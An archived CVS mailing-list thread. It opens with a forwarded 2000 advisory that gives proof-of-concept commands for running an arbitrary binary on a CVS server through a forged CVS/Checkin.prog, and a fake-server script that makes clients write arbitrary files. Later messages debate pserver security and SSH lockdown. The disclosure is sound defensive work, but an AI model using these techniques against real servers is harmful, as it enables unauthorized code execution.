Info-cvs mailing list
[EMAIL PROTECTED]
http://mail.gnu.org/mailman/listinfo/info-cvs

cvs security problem (fwd)

[Brian Behlendorf]

a) does the solution proposed for #1 break anything?
b) looks like #2 is both a client problem (never trust what the CVS server
gives you) and a server problem (don't allow people to check in silly
paths) - or is #2 not something that someone can cause to happen through
CVS commits alone?  (i.e., it would require someone who can write
and corrupt files in CVS/ directory).

Brian



-- Forwarded message --
Date: Fri, 28 Jul 2000 17:21:28 +0900
From: Tanaka Akira <[EMAIL PROTECTED]>
To: [EMAIL PROTECTED]
Subject: cvs security problem

I found two security problems in cvs-1.10.8.

(1) A committer can execute any binary in server using
CVS/Checkin.prog or CVS/Update.prog.

A committer can execute arbitrary binary on a cvs server using
Checkin.prog.  Usually CVS/Checkin.prog in a working directory is
copied from CVSROOT/modules when the directory is checkouted and it is
sent back to the server and executed with committing.  Note that when
it is executed, committed files are exsists in a current directory.

Since a working directory can be modified by a committer which have
the working directory, Checkin.prog may be modified or even newly
created.  If an evil committer do it, cvs server executes such forged
Checkin.prog.  Also note that the evil committer can create arbitrary
binary file by `cvs add -kb' and `cvs commit'.  So the evil committer
can execute just committed binary file by via Checkin.prog triggerd by
the `cvs commit'.

Note that similar problem exists with CVS/Update.prog.

Following example is that a committer sends `ls' binary and executes
in the server.  (it assumes that the server and the client is same
architecture.)

% cvs -d :pserver:test@localhost:/tmp/cvs -f co somemodule
cvs server: Updating somemodule
% cd somemodule
% cp /bin/ls binary
% cvs add -kb binary
cvs server: scheduling file `binary' for addition
cvs server: use 'cvs commit' to add this file permanently
% echo ./binary > CVS/Checkin.prog
% cvs commit -m 'test'
cvs commit: Examining .
RCS file: /tmp/cvs/somemodule/binary,v
done
Checking in binary;
/tmp/cvs/somemodule/binary,v  <--  binary
initial revision: 1.1
done
cvs server: Executing ''./binary' '/tmp/cvs/somemodule''
#cvs.lock
#cvs.wfl.serein.m17n.org.14330
binary,v

This problem can be fixed by disabling two requests.

--- server.c-   Fri Apr 28 15:37:13 2000
+++ server.cFri Apr 28 15:38:06 2000
@@ -4553,8 +4553,6 @@
   REQ_LINE("Max-dotdot", serve_max_dotdot, 0),
   REQ_LINE("Static-directory", serve_static_directory, 0),
   REQ_LINE("Sticky", serve_sticky, 0),
-  REQ_LINE("Checkin-prog", serve_checkin_prog, 0),
-  REQ_LINE("Update-prog", serve_update_prog, 0),
   REQ_LINE("Entry", serve_entry, RQ_ESSENTIAL),
   REQ_LINE("Kopt", serve_kopt, 0),
   REQ_LINE("Checkin-time", serve_checkin_time, 0),

(2) cvs server can instruct to create any file at any locaiton in
client machine.

With cvs protocol, client side paths are processed by server and
client blindly trusts paths in server responses, cvs server can create
any file at any locaiton in client machine.

For example, if a client tries to checkout a module `tst' as:

% cvs -f -d :ext:user@server:/cvsroot co tst

and server includes a dangerous response as follows to its responses,
the cilent creates /tmp/foo.

Created /tmp/
/cvsroot/tst/foo
/foo/1.1///
u=rw,g=rw,o=rw
4
abc

This problem can be test yourself as follows.  Although this example
runs faked cvs server using :ext: method, this vulnerability is
available in any methods (including :pserver: of course).

% ls -l /tmp/foo
ls: /tmp/foo: No such file or directory
% cat crackers-cvs-server
#!/bin/sh

cat <<'End'
Valid-requests Root Valid-responses valid-requests Repository Directory Max-dotdot 
Static-directory Sticky Checkin-prog Update-prog Entry Kopt Checkin-time Modified 
Is-modified UseUnchanged Unchanged Notify Questionable Case Argument Argumentx 
Global_option Gzip-stream wrapper-sendme-rcsOptions Set Kerberos-encrypt 
expand-modules ci co update diff log add remove update-patches gzip-file-contents 
status rdiff tag rtag import admin export history release watch-on watch-off watch-add 
watch-remove watchers editors init annotate noop
ok
Module-expansion tst
ok
Clear-sticky tst/
/cvsroot/tst/
Clear-static-directory tst/
/cvsroot/tst/
E cvs server: Updating tst
Created /tmp/
/cvsroot/tst/foo
/foo/1.1///
u=rw,g=rw,o=rw
4
abc
ok
End
% CVS_RSH=./crackers-cvs-server cvs -f -d :ext:user@server:/cvsroot co tst
cvs server: Updating tst
cvs checkout: in directory /tmp:
cvs checkout: cannot open CVS/Entries for reading: No such file or directory
cvs checkout: cannot open CVS/Entries.Log: No such file or directory
% ls -l /tmp/foo
-rw-r--r--  1 akr  wheel  4 Jul 19 22:01 /tmp/foo
% cat /tmp/foo
abc

Currently, I don't have a patch to fix this problem.
--
Tanaka Akira

Re: CVS Security Issues

[Derek Robert Price]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

McNamee, John wrote:

>I think moving the password file out of CVSROOT would be a bad idea.
>
>(1) It would just give a false sense of security to lusers
>(unfortunately,
>many lusers have the title "System Administrator" on their business
>card,
>but they're still lusers).


I agree.

>(2) It would break systems with multiple repositories that each have
>their
>own user/password list.


No it wouldn't.  If you look at the way these patches are implemented,
they only override the options in CVSROOT/passwd when they exist.  If
they don't exist, or don't exist for a specific repository, CVS would
fall back on CVSROOT/passwd.

Also, both patches have a file format like:


...


...

>(3) It would make backing up an entire repository a little more
>difficult.
>
>I wouldn't complain if this became a compile-time configuration option,
>so those who want it can have it.  Just don't make it the default.


Due to the override nature, these would effectively be run-time options.

Derek

- --
*8^)

Email: [EMAIL PROTECTED]

Get CVS support at !
- --
In matters of style, swim with the current; In matters of principal,
stand like a rock.
- Thomas Jefferson
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.0.7 (GNU/Linux)
Comment: Using GnuPG with Netscape - http://enigmail.mozdev.org

iD8DBQE/4gsfLD1OTBfyMaQRAsYtAKDzJGT6ABz8OMztN6Tor6yZf8EAygCgkfG/
hA84tc0wzdJNq2G/anwg6+M=
=4QFY
-END PGP SIGNATURE-




___
Info-cvs mailing list
[EMAIL PROTECTED]
http://mail.gnu.org/mailman/listinfo/info-cvs

Re: CVS Security Issues

[Mike Sutton]

On 12/18/03 14:26:26, Derek Robert Price wrote:
> Hash: SHA1
> 
> The idea of both is to make it harder to overwrite the CVSROOT/passwd
> file and gain root.  I've actually just commited a fix that will be
> released soon with 1.11.11 & 1.12.5 which causes CVS to refuse to
> continue running if the system user specified in CVSROOT/passwd maps to
> root, but that doesn't stop anyone with write access to the
> CVSROOT/passwd file from assuming any other UID they'd like.

I posted a patch long ago that did just this for pserver connections.
If the mapped name correlates to root (uid 0) then access is denied.

Go for it.

-- 

Mike Sutton
SAIC
Division  397
(937) 431-2273 FAX ext. 2297
[EMAIL PROTECTED]




___
Info-cvs mailing list
[EMAIL PROTECTED]
http://mail.gnu.org/mailman/listinfo/info-cvs

Re: CVS Security Issues

[Derek Robert Price]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

Mike Sutton wrote:

>On 12/18/03 14:26:26, Derek Robert Price wrote:
>
>>Hash: SHA1
>>
>>The idea of both is to make it harder to overwrite the CVSROOT/passwd
>>file and gain root.  I've actually just commited a fix that will be
>>released soon with 1.11.11 & 1.12.5 which causes CVS to refuse to
>>continue running if the system user specified in CVSROOT/passwd maps to
>>root, but that doesn't stop anyone with write access to the
>>CVSROOT/passwd file from assuming any other UID they'd like.
>
>
>I posted a patch long ago that did just this for pserver connections.
>If the mapped name correlates to root (uid 0) then access is denied.


Sorry I missed your earlier patch, but I already commited this one and
it's in the 1.11.11 & 1.12.5 releases.  This email was actually asking
about two different patches.  :)

Derek

- --
*8^)

Email: [EMAIL PROTECTED]

Get CVS support at !
- --
A handy telephone tip: Keep a small chalkboard near the phone.  That
way, when a salesman calls, you can hold the receiver up to it and run
your fingernails across it until he hangs up.
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.0.7 (GNU/Linux)
Comment: Using GnuPG with Netscape - http://enigmail.mozdev.org

iD8DBQE/4ihWLD1OTBfyMaQRAt5QAKD/ZjH7Hdb7dEjPCqpNZBn+QeXj+QCgkTU6
TU/hpcVRYOugh1/OUmn3GLA=
=7Kr9
-END PGP SIGNATURE-




___
Info-cvs mailing list
[EMAIL PROTECTED]
http://mail.gnu.org/mailman/listinfo/info-cvs

Re: CVS Security Issues

[Greg A. Woods]

[ On Thursday, December 18, 2003 at 14:26:26 (-0500), Derek Robert Price wrote: ]
> Subject: CVS Security Issues
>
> Does anyone else have any opinions on this?

It would be much Much MUCH better to begin to deprecate any and all
support for "cvs" passwords than to give any further support to the
false illusion of any security someone might pretend to see in them.

CVS pserver support is, just barely, safely usable _only_ for truly
anonymous access (which normally also means read-only access) (and only
then when there's some underlying network integrity protection),
regardless of how your network works, which clients you use, etc.

_ANYONE_ considering the use of some tool like CVS obviously also needs
at least some degree of true security (i.e. authentication,
accountability, _and_ integrity) -- otherwise they're doing worse than
fooling themselves (they're fooling _everyone_ involved with using their
repository).

I.e. please do not pretend you can gain anything by pretending to make
the CVSROOT/passwd file harder to mess with.

-- 
Greg A. Woods

+1 416 218-0098  VE3TCPRoboHack <[EMAIL PROTECTED]>
Planix, Inc. <[EMAIL PROTECTED]>  Secrets of the Weird <[EMAIL PROTECTED]>


___
Info-cvs mailing list
[EMAIL PROTECTED]
http://mail.gnu.org/mailman/listinfo/info-cvs

RE: CVS Security Issues

[Jim.Hyslop]

Greg A. Woods [mailto:[EMAIL PROTECTED] wrote:
> It would be much Much MUCH better to begin to deprecate any and all
> support for "cvs" passwords than to give any further support to the
> false illusion of any security someone might pretend to see in them.
> 
> CVS pserver support is, just barely, safely usable _only_ for truly
> anonymous access (which normally also means read-only access) 
> (and only
> then when there's some underlying network integrity protection),
> regardless of how your network works, which clients you use, etc.
> 
> _ANYONE_ considering the use of some tool like CVS obviously 
> also needs
> at least some degree of true security (i.e. authentication,
> accountability, _and_ integrity) -- otherwise they're doing worse than
> fooling themselves (they're fooling _everyone_ involved with 
> using their
> repository).
OK, I'm going to play dumb here (please, no accusations of "playing" :-).
Why is this level of security so important? Exactly what are the security
attacks you're concerned with?

Well, clearly pserver is not secure because the password is sent effectively
in plain text, allowing anyone with a packet sniffer to retrieve CVS
passwords. That's a big no-no on the security level. But this is
well-documented in the Cederqvist - as I recall, it says something along the
lines of "if you want real security, don't use pserver."

Let's look at where pserver will probably be used. It will not (if the CVS
admins have any sense) be used on repositories that are accessible from
"outsiders" (the Big Bad Internet, for example). Network access to the
server will be restricted. This divides the attackers into two categories:
the insiders and the outsiders. We can pretty much discount the outsiders -
they'll have to hack through firewalls, etc. to get in, and are more likely
to find other servers much more interesting than CVS. Unless you think that
I'm underestimating the mindset of corporate raiders, who might actually do
this kind of hacking to get at a competitor's intellectual property.

For the insiders, again there's a limit to how much the attacker can do.
Most users only want to know enough to run the basic checkin/checkout
commands. Unless they have direct access to the repository, there is very
little damage they can do that cannot be fairly easily undone. For the
knowledgeable user who knows how to inflict real damage on the repository,
*and* who has the desire to inflict such damage, moving to a more secure
protocol like kerberos will probably slow them down, but will not, in the
end, stop them from harming the repository. To paraphrase the well-known
saying, pserver is there to keep honest people honest.

I can envision a wide range of theoretical attacks that someone _could_ do.
But who would actually _do_ those attacks?

So, where am I deluding myself?

> I.e. please do not pretend you can gain anything by pretending to make
> the CVSROOT/passwd file harder to mess with.
That's a good point - as Bruce Schneier, author of "Applied Cryptography"
and a computer security expert, is fond of saying: Security is only as good
as its weakest link. For pserver, access to the passwd file is not the
weakest link by any means. Moving the file to a different location will not
significantly improve its inherent insecurity.

-- 
Jim Hyslop 
Senior Software Designer 
Leitch Technology International Inc. () 
Columnist, C/C++ Users Journal () 


___
Info-cvs mailing list
[EMAIL PROTECTED]
http://mail.gnu.org/mailman/listinfo/info-cvs

RE: CVS Security Issues

[Walter, Jan]

Jim, all,

I'll take on a point below:

> -Original Message-
> From: Jim.Hyslop [mailto:[EMAIL PROTECTED]
> Sent: Friday, December 19, 2003 5:19 PM
> To: 'CVS-II Discussion Mailing List'; 'CVS-II Bugs Mailing List'
> Subject: RE: CVS Security Issues

[stuff deleted...]

> > I.e. please do not pretend you can gain anything by 
> pretending to make
> > the CVSROOT/passwd file harder to mess with.
> That's a good point - as Bruce Schneier, author of "Applied 
> Cryptography"
> and a computer security expert, is fond of saying: Security 
> is only as good
> as its weakest link. For pserver, access to the passwd file is not the
> weakest link by any means. Moving the file to a different 
> location will not
> significantly improve its inherent insecurity.
[more stuff deleted ...]

The only reason to put the passwords somewhere else is to prevent someone
from accidentally checking it out and accidentally changing or deleting
someone elses' password and checking the file back in. It's a support issue,
not a security one, whether the user intended to change their password or
someone elses' is another question entirely. But I think there is a 'gain'
here by keeping the passwd file somewhere else where some git can't wipe all
the users by accident and bring development to a grinding halt.

That's my opinion. 

On security, you have two types of security anyways: 1) protection against
malicious people and 2) protection for your data from accidental damage,
deletion, or whatever ("protecting users from themselves"). CVS is part of
category 2, obviously with the support of backup systems and so on. Pserver
figures into category 2 because you prevent the users from accidentally
working in the actual repository and doing stuff like deleting directories.
The keyword here is accidental - either because of ignorance or because one
was not thinking about what directory someone happened to be in. I would
also argue category 2 is (still) responsible for most data loss in the world
today.

Your opinion?

Seasons greetings,

Mr. Jan Walter
Chief Architect

DEFINIENS AG
Trappentreustr. 1; D-80339 München
Phone: +49-(0)89-231180-18
Fax: +49-(0)89-231180-90 
[EMAIL PROTECTED]
http://www.definiens.com



___
Info-cvs mailing list
[EMAIL PROTECTED]
http://mail.gnu.org/mailman/listinfo/info-cvs

Re: CVS Security Issues

[Derek Robert Price]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

Walter, Jan wrote:

>The only reason to put the passwords somewhere else is to prevent someone
>from accidentally checking it out and accidentally changing or deleting
>someone elses' password and checking the file back in. It's a support
issue,
>not a security one, whether the user intended to change their password or


Actually, the party that requested the change and prompted me to start
this discussion stated a concern for the fact that anyone with write
access to CVSROOT could add passwd to CVSROOT/checkoutlist, `cvs add'
passwd via CVS, then commit it, causing the CVS server to create a
passwd,v that didn't previously exist and overwrite the existing (or
create) CVSROOT/passwd from the archive containing their version of the
passwd file.  Previously to 1.11.11, this could even be used to grant
them root privileges.

Now, the CVS manual does state that permissions on $CVSROOT/CVSROOT
should be controlled as tightly as those of /etc, rendering this point
somewhat moot since if permissions were controlled correctly, then this
wouldn't be able to happen.

It might be reasonable to move the most vulnerable files to a location
where sysadmins are already used to controlling the permissions tightly,
but many other fairly secure applications, Apache and qmail come
instantly to mind, do not seem to find it important to bother with
this.  Anyhow, my reporter was enthusiastic, but I wasn't so sure, so I
thought I would see what others thought about it.

Derek

- --
*8^)

Email: [EMAIL PROTECTED]

Get CVS support at !
- --
I will not fake my way through life.
I will not fake my way through life.
I will not fake my way through life...

  - Bart Simpson on chalkboard, _The Simpsons_
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.0.7 (GNU/Linux)
Comment: Using GnuPG with Netscape - http://enigmail.mozdev.org

iD8DBQE/40QGLD1OTBfyMaQRAtVoAKDU8iOxv8NIphOfMVUbX19n9sIvcgCfXN80
MMNXf147buRrclysvPVFEn4=
=MvXJ
-END PGP SIGNATURE-




___
Info-cvs mailing list
[EMAIL PROTECTED]
http://mail.gnu.org/mailman/listinfo/info-cvs

RE: CVS Security Issues

[Jim.Hyslop]

Walter, Jan [mailto:[EMAIL PROTECTED] wrote:
> The only reason to put the passwords somewhere else is to 
> prevent someone
> from accidentally checking it out and accidentally changing 
> or deleting
> someone elses' password and checking the file back in.
[...]
> But I think there is a 'gain'
> here by keeping the passwd file somewhere else where some git 
> can't wipe all
> the users by accident and bring development to a grinding halt.
The only people who should have access to the CVSROOT directory are the CVS
admins, so the only gits who have access should be the ones who can most
easily fix the damage. Or am I being hopelessly naive? ;-)

-- 
Jim Hyslop 
Senior Software Designer 
Leitch Technology International Inc. () 
Columnist, C/C++ Users Journal () 



___
Info-cvs mailing list
[EMAIL PROTECTED]
http://mail.gnu.org/mailman/listinfo/info-cvs

Re: CVS security audit?

[Eric Siegerman]

[following up my own post; sorry]

On Fri, Dec 19, 2003 at 06:08:40PM -0500, I wrote:
> How will [a security audit having been done]
> affect peoples' level of confidence in pserver and the like?

In another thread, on Fri, Dec 19, 2003 at 11:18:57AM -0500, Jim.Hyslop wrote:
> Well, clearly pserver is not secure because the password is sent effectively
> in plain text [...]

Woops, I'd forgotten about that!  Ok, as regards pserver itself,
my question was pretty dumb.  But how about GSSAPI or Kerberos
with encryption?

--

|  | /\
|-_|/  >   Eric Siegerman, Toronto, Ont.[EMAIL PROTECTED]
|  |  /
It must be said that they would have sounded better if the singer
wouldn't throw his fellow band members to the ground and toss the
drum kit around during songs.
- Patrick Lenneau


___
Info-cvs mailing list
[EMAIL PROTECTED]
http://mail.gnu.org/mailman/listinfo/info-cvs

Re: CVS security audit?

[Larry Jones]

Eric Siegerman writes:
> 
> Now, I seem to recall that one of the big objections to pserver
> is that CVS "has never had a security audit".  Once the Savannah
> audit is finished, that objection goes away.  How will that
> affect peoples' level of confidence in pserver and the like?

The objection is that CVS was never *designed*, or even *intended*, to
be secure.  An audit will affect my confidence not one whit -- it's
sufficient to keep honest people honest, nothing more.

-Larry Jones

Like I'm going to get any sleep NOW. -- Calvin


___
Info-cvs mailing list
[EMAIL PROTECTED]
http://mail.gnu.org/mailman/listinfo/info-cvs

RE: CVS Security Issues

[Greg A. Woods]

[ On Friday, December 19, 2003 at 11:18:57 (-0500), Jim.Hyslop wrote: ]
> Subject: RE: CVS Security Issues
>
> Why is this level of security so important? Exactly what are the security
> attacks you're concerned with?

Exactly the kind which necessesitated this recent "(security
update)" release.

> Well, clearly pserver is not secure because the password is sent effectively
> in plain text, allowing anyone with a packet sniffer to retrieve CVS
> passwords. That's a big no-no on the security level. But this is
> well-documented in the Cederqvist - as I recall, it says something along the
> lines of "if you want real security, don't use pserver."

Meanwhile people the world over continut to mis-use pserver.

It's been proven time and time again that we can't stomp out ignorance
about digital security by documentation alone.

However we can remove features that are 100,000% guaranteed insecure and
force people to either think a little more to gain the insecurity they
desire, or at maybe at least to get them to follow the herd over to
using some more secure digital security mechanism that's widely
available and easy to use.

> So, where am I deluding myself?

If you have any use whatsoever for something like CVS then clearly you
_must_ also have some need for at least minimal security, whether you
realize it or not.  There's no point to recording revision information
if anybody can muck with it and there is no accountability whatsoever
amongst your users.  I.e. if you use pserver for anything more than
totally anonymous access then you really have no security, none, zip,
zilch, zero, nada, not one bit of security whatsoever.  If you don't see
the conflict here then clearly you are deluding yourself!  ;-)

> > I.e. please do not pretend you can gain anything by pretending to make
> > the CVSROOT/passwd file harder to mess with.
> 
> That's a good point - as Bruce Schneier, author of "Applied Cryptography"
> and a computer security expert, is fond of saying: Security is only as good
> as its weakest link. For pserver, access to the passwd file is not the
> weakest link by any means. Moving the file to a different location will not
> significantly improve its inherent insecurity.

Worse.  It will cause people to have an increased level of _false_
security.

BTW, for this discussion Schneier's book "Serets & Lies:  Digital
Security in a Networked World" is much more apropos.  :-)

-- 
Greg A. Woods

+1 416 218-0098  VE3TCPRoboHack <[EMAIL PROTECTED]>
Planix, Inc. <[EMAIL PROTECTED]>  Secrets of the Weird <[EMAIL PROTECTED]>


___
Info-cvs mailing list
[EMAIL PROTECTED]
http://mail.gnu.org/mailman/listinfo/info-cvs

RE: CVS Security Issues

[Greg A. Woods]

[ On Friday, December 19, 2003 at 18:04:42 (+0100), Walter, Jan wrote: ]
> Subject: RE: CVS Security Issues
>
> The only reason to put the passwords somewhere else is to prevent someone
> from accidentally checking it out and accidentally changing or deleting
> someone elses' password and checking the file back in. It's a support issue,
> not a security one, whether the user intended to change their password or
> someone elses' is another question entirely. But I think there is a 'gain'
> here by keeping the passwd file somewhere else where some git can't wipe all
> the users by accident and bring development to a grinding halt.

Sorry, but it _is_ a security issue.  If accidents can cause problems
with data used for authentication or authorisation then the causes of
those accidents are security issues.

Furthermore since this only gives a false sense of security, the whole
idea of making the change is a major security issue in and of itself.

> On security, you have two types of security anyways: 1) protection against
> malicious people and 2) protection for your data from accidental damage,
> deletion, or whatever ("protecting users from themselves"). CVS is part of
> category 2, obviously with the support of backup systems and so on.

Of course.

> Pserver
> figures into category 2 because you prevent the users from accidentally
> working in the actual repository and doing stuff like deleting directories.

Nope.  Pserver bypasses both types of security, even if the proposed
changes are made.  Pserver is _negative_ security, by its very definition.

-- 
Greg A. Woods

+1 416 218-0098  VE3TCPRoboHack <[EMAIL PROTECTED]>
Planix, Inc. <[EMAIL PROTECTED]>  Secrets of the Weird <[EMAIL PROTECTED]>


___
Info-cvs mailing list
[EMAIL PROTECTED]
http://mail.gnu.org/mailman/listinfo/info-cvs

Re: CVS security audit?

[Greg A. Woods]

[ On Friday, December 19, 2003 at 21:00:46 (-0500), Larry Jones wrote: ]
> Subject: Re: CVS security audit?
>
> The objection is that CVS was never *designed*, or even *intended*, to
> be secure.  An audit will affect my confidence not one whit -- it's
> sufficient to keep honest people honest, nothing more.

Indeed.  I couldn't agree more.

Furthermore CVS was designed to use any sufficiently transparent remote
job execution protocol that could have a wrapper put around it such that
it works like rsh.  What more could anyone ask for than to leave both
communications _and_ security to some other specialized tools?

-- 
Greg A. Woods

+1 416 218-0098  VE3TCPRoboHack <[EMAIL PROTECTED]>
Planix, Inc. <[EMAIL PROTECTED]>  Secrets of the Weird <[EMAIL PROTECTED]>


___
Info-cvs mailing list
[EMAIL PROTECTED]
http://mail.gnu.org/mailman/listinfo/info-cvs

RE: CVS security question

[Jim.Hyslop]

Pankaj Garg wrote:
> I am a new user of CVS. I setup CVS server on my linux box. I 
> want two users
> to have check-in access to my repository and i want to use 
> SSH. To use SSH i
> need to make shell accounts for those two users. Now because 
> these two users
> have shell account and have write access to my repository, they can
> essentially login in my CVS server box and do an rm -fR on my whole
> repository. Is there a way to prevent this?

It is possible to set up shell accounts so that the root directory that the
user sees is not the machine's root. I'm afraid that's the limit of my
knowledge in that area, though. Try a web search on "chroot jail", or look
through the archives of the info-cvs mail list.

-- 
Jim Hyslop 
Senior Software Designer 
Leitch Technology International Inc. () 
Columnist, C/C++ Users Journal () 




___
Info-cvs mailing list
[EMAIL PROTECTED]
http://mail.gnu.org/mailman/listinfo/info-cvs

RE: CVS security question

[Matthew . Riechers]

> -Original Message-
> From: [EMAIL PROTECTED]
> [mailto:[EMAIL PROTECTED] Behalf
> Of Pankaj Garg
> Sent: Tuesday, February 03, 2004 10:59 AM
> To: [EMAIL PROTECTED]
> Subject: CVS security question 
> 
> To use SSH i
> need to make shell accounts for those two users. Now because 
> these two users
> have shell account and have write access to my repository, they can
> essentially login in my CVS server box and do an rm -fR on my whole
> repository. Is there a way to prevent this?

You can restrict the commands that users can run via SSH configuration.
Check the [Open]SSH documentation and the list archives for more
information.

-Matt


___
Info-cvs mailing list
[EMAIL PROTECTED]
http://mail.gnu.org/mailman/listinfo/info-cvs

Re: CVS security question

[Larry Jones]

Pankaj Garg writes:
> 
> I am a new user of CVS. I setup CVS server on my linux box. I want two users
> to have check-in access to my repository and i want to use SSH. To use SSH i
> need to make shell accounts for those two users. Now because these two users
> have shell account and have write access to my repository, they can
> essentially login in my CVS server box and do an rm -fR on my whole
> repository. Is there a way to prevent this?

Yes.  Explain to them, in excruciating detail, exactly what you will do
to them should they do anything so stupid and be prepared to follow
through.

-Larry Jones

Hmph. -- Calvin


___
Info-cvs mailing list
[EMAIL PROTECTED]
http://mail.gnu.org/mailman/listinfo/info-cvs

Re: CVS security question

[Mark D. Baushke]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1

Pankaj Garg <[EMAIL PROTECTED]> writes:

> I am a new user of CVS. I setup CVS server on my linux box. I want two users
> to have check-in access to my repository and i want to use SSH. To use SSH i
> need to make shell accounts for those two users. Now because these two users
> have shell account and have write access to my repository, they can
> essentially login in my CVS server box and do an rm -fR on my whole
> repository. Is there a way to prevent this?

This topic has been recently discussed. See the thread starting here:
  http://mail.gnu.org/archive/html/info-cvs/2004-01/msg00188.html

Note that you can also make "anonymous cvs" access available via SSH if
you wish. Details are listed here in this article by Joey Hess:

  http://www.kitenet.net/~joey/sshcvs/

(a copy of it may also be found here if the first site is busy or down):

  http://www.blacksheepnetworks.com/security/resources/sshcvs/

Enjoy!
-- Mark
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.2.3 (FreeBSD)

iD8DBQFAH9YY3x41pRYZE/gRAhr0AJ9bqCrTBdBflwoUfF+zEs40wk3CHwCgma/8
1tkWzfJy7h17burPL9mM7x8=
=fsNR
-END PGP SIGNATURE-


___
Info-cvs mailing list
[EMAIL PROTECTED]
http://mail.gnu.org/mailman/listinfo/info-cvs

RE: CVS security question

[Mark Jaffe]

You can prevent a user from logging in by setting the shell variable in the 
/etc/password file to a nonexistent shell. This will allow authorization, but not 
allow login.

-Original Message-
> From: [EMAIL PROTECTED]
> [mailto:[EMAIL PROTECTED] Behalf
> Of Pankaj Garg
> Sent: Tuesday, February 03, 2004 10:59 AM
> To: [EMAIL PROTECTED]
> Subject: CVS security question 
> 
> To use SSH i
> need to make shell accounts for those two users. Now because 
> these two users
> have shell account and have write access to my repository, they can
> essentially login in my CVS server box and do an rm -fR on my whole
> repository. Is there a way to prevent this?



=
Mark Jaffe| (408) 972-9638 (home)
Chief Wizard  | (408) 807-2093 (cell)
Computer Wizards  | (425) 795-6421 (FAX)


___
Info-cvs mailing list
[EMAIL PROTECTED]
http://mail.gnu.org/mailman/listinfo/info-cvs

RE: CVS security question

[Rick Genter]

It's probably more secure to set their shell to something that does exist but won't 
function as a shell, like /dev/null or /bin/false. That way you don't leave a hole 
where someone could create the non-existent program that the user points to and voila 
- instant access.

--
Rick Genter
Sr. Software Engineer
Silverlink Communications
<mailto:[EMAIL PROTECTED]>
(781) 272-3080 x242

This e-mail, including attachments, may include confidential and/or proprietary 
information, and may only be used by the person or entity to which it is addressed.  
If the reader of this e-mail is not the intended recipient or his or her authorized 
agent, the reader is hereby notified that any dissemination, distribution or copying 
of this e-mail is prohibited.  If you have received this e-mail in error, please 
notify the sender by replying to this message and delete this e-mail immediately.




-Original Message-
From: [EMAIL PROTECTED]
[mailto:[EMAIL PROTECTED] Behalf Of
Mark Jaffe
Sent: Tuesday, February 03, 2004 3:26 PM
To: [EMAIL PROTECTED]
Subject: RE: CVS security question


You can prevent a user from logging in by setting the shell variable in the 
/etc/password file to a nonexistent shell. This will allow authorization, but not 
allow login.

-Original Message-
> From: [EMAIL PROTECTED]
> [mailto:[EMAIL PROTECTED] Behalf
> Of Pankaj Garg
> Sent: Tuesday, February 03, 2004 10:59 AM
> To: [EMAIL PROTECTED]
> Subject: CVS security question 
> 
> To use SSH i
> need to make shell accounts for those two users. Now because 
> these two users
> have shell account and have write access to my repository, they can
> essentially login in my CVS server box and do an rm -fR on my whole
> repository. Is there a way to prevent this?



=
Mark Jaffe| (408) 972-9638 (home)
Chief Wizard  | (408) 807-2093 (cell)
Computer Wizards  | (425) 795-6421 (FAX)


___
Info-cvs mailing list
[EMAIL PROTECTED]
http://mail.gnu.org/mailman/listinfo/info-cvs


___
Info-cvs mailing list
[EMAIL PROTECTED]
http://mail.gnu.org/mailman/listinfo/info-cvs

Re: CVS security question

[Pankaj Garg]

I wonder why do we not CVS has a server which run with SUID (Super User ID) 
and only it can access repository. Other users can login via SSH, verify 
their credentials with our CVS Server and ask CVS Server to carry out their 
requests. They can request normal repository operations based on their 
privilege. This new CVS server will give much better control because we can 
set minute details of permissions on repository and files inside it. In fact 
we can have just One repository in all and host multiple projects under it 
and give control of these projects to different group of people.

Whats stopping people from implementing this?

Thanks
Pankaj
From: "Mark D. Baushke" <[EMAIL PROTECTED]>
To: "Pankaj Garg" <[EMAIL PROTECTED]>
CC: [EMAIL PROTECTED]
Subject: Re: CVS security question
Date: Tue, 03 Feb 2004 09:10:49 -0800
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
Pankaj Garg <[EMAIL PROTECTED]> writes:

> I am a new user of CVS. I setup CVS server on my linux box. I want two 
users
> to have check-in access to my repository and i want to use SSH. To use 
SSH i
> need to make shell accounts for those two users. Now because these two 
users
> have shell account and have write access to my repository, they can
> essentially login in my CVS server box and do an rm -fR on my whole
> repository. Is there a way to prevent this?

This topic has been recently discussed. See the thread starting here:
  http://mail.gnu.org/archive/html/info-cvs/2004-01/msg00188.html
Note that you can also make "anonymous cvs" access available via SSH if
you wish. Details are listed here in this article by Joey Hess:
  http://www.kitenet.net/~joey/sshcvs/

(a copy of it may also be found here if the first site is busy or down):

  http://www.blacksheepnetworks.com/security/resources/sshcvs/

Enjoy!
-- Mark
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.2.3 (FreeBSD)
iD8DBQFAH9YY3x41pRYZE/gRAhr0AJ9bqCrTBdBflwoUfF+zEs40wk3CHwCgma/8
1tkWzfJy7h17burPL9mM7x8=
=fsNR
-END PGP SIGNATURE-
--
Pankaj Garg
www.intellectualheaven.com
_
Learn how to choose, serve, and enjoy wine at Wine @ MSN. 
http://wine.msn.com/



___
Info-cvs mailing list
[EMAIL PROTECTED]
http://mail.gnu.org/mailman/listinfo/info-cvs

RE: CVS security question

Classification: UNCLASSIFIED

> -Original Message-
> From: Pankaj Garg [mailto:[EMAIL PROTECTED]

> SSH. To use SSH i
> need to make shell accounts for those two users.

yes and no. if their repository permissions are the same then make a fake
shell user to represent the persons and then put their keys in
authorized_keys. I have any number of persons that have RW to a tree but on
the CVS server I only have one account that owns the files. I know who
connected from the ssh logs. Yes it might be really nice to know inside of
CVS who was doing what and when but for what I'm doing, it doesn't matter
and simplicity is more desirable. Not to mention like another thread that
just popped up you can't check out what some bloke did, only by time so
knowing the identity of the actor is somewhat debatable.

> have shell account and have write access to my repository, they can
> essentially login in my CVS server box and do an rm -fR on my whole
> repository. Is there a way to prevent this?

others have mentioned using ssh's tricks (~/.sshrc or something like that).
setting a shell to /bin/false keeps interactive access off but as I just
tested to make sure, doesn't actually allow you to run "cvs server" or
anything else for that matter. You need a limited shell script. I wrote one
that basically invokes 'cvs server' after setting up some environment
particulars first. It works fine.


___
Info-cvs mailing list
